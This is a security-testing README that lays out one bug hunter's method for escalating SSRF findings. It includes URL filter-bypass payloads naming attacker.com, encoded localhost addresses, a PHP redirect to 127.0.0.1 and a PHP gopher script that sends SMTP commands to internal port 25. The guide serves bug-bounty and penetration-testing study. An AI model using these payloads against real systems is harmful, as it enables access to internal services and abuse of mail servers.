iustin24/ssrf

SSRF

SSRF Methodology Flowchart

Since I've seen so many people ask what to do once they get a request back to their collaborator instance, I created this flowchart to present what I usually do to test and escalate SSRFs.

Disclaimer

I am sure there are a few other ways of bypassing ssrf filters which I did not include, however this flowchart shows the ones I personally test against.

False Positives:

DNS queries only are rarely exploitable, and should never be reported without any additional impact.

When using your listener as an email domain [email protected], recieving SMTP + DNS queries are not signs of SSRF. It's just how SMTP works and should never be reported. There's been edge cases where the payload [email protected], lead to http requests. If that's the case, SSRF might be possible. See d0nut's Piercing the veal story 4.

Sources:

Whitelist filter bypasses

Some common whitelist filter bypasses I test against:

https://[email protected]
https://attacker.com/target.com
https://target.com.attacker.com

Blacklist filter bypasses (decimal, hex, octal)

Inspired from EdOverflow's blogpost on exploiting Ruby's Resolv

http://0177.1:22/  
http://0x7f.1:22/  
http://127.000.001:22/  

See more at PayloadsAllTheThings SSRF

PHP Redirect

The value appended to location will be the url your page will redirect to. You can also play around with different status codes other than 301, such as 302,303,307.

<?php
header("Location: http://127.0.0.1", TRUE, 301);
exit();
?>

SMPT Gopher payloads

Inspired from d0nut's Piercing the veal

<?php
        $commands = array(
                'HELO victim.com',
                'MAIL FROM: <[email protected]>',
                'RCPT To: <[email protected]>',
                'DATA',
                'Subject: @sxcurity!',
                'Corben was here, woot woot!',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://0:25/_'.$payload);
?>

Payload taken from PayloadsAllTheThings SSRF

Exploiting incosistencies in url parsers + DNS Rebdinding

Orange Tsai's blackhat presentation explains this perfectly. ( PDF slides + Youtube presentation )
I also highly recommend watching Liveoverflow's video (PHP include and bypass SSRF protection with two DNS A records ) which discusses url parsing incosistencies, while also touching on DNS Rebinding.

More SSRF Resources

Jdonsec's list of SSRF Resources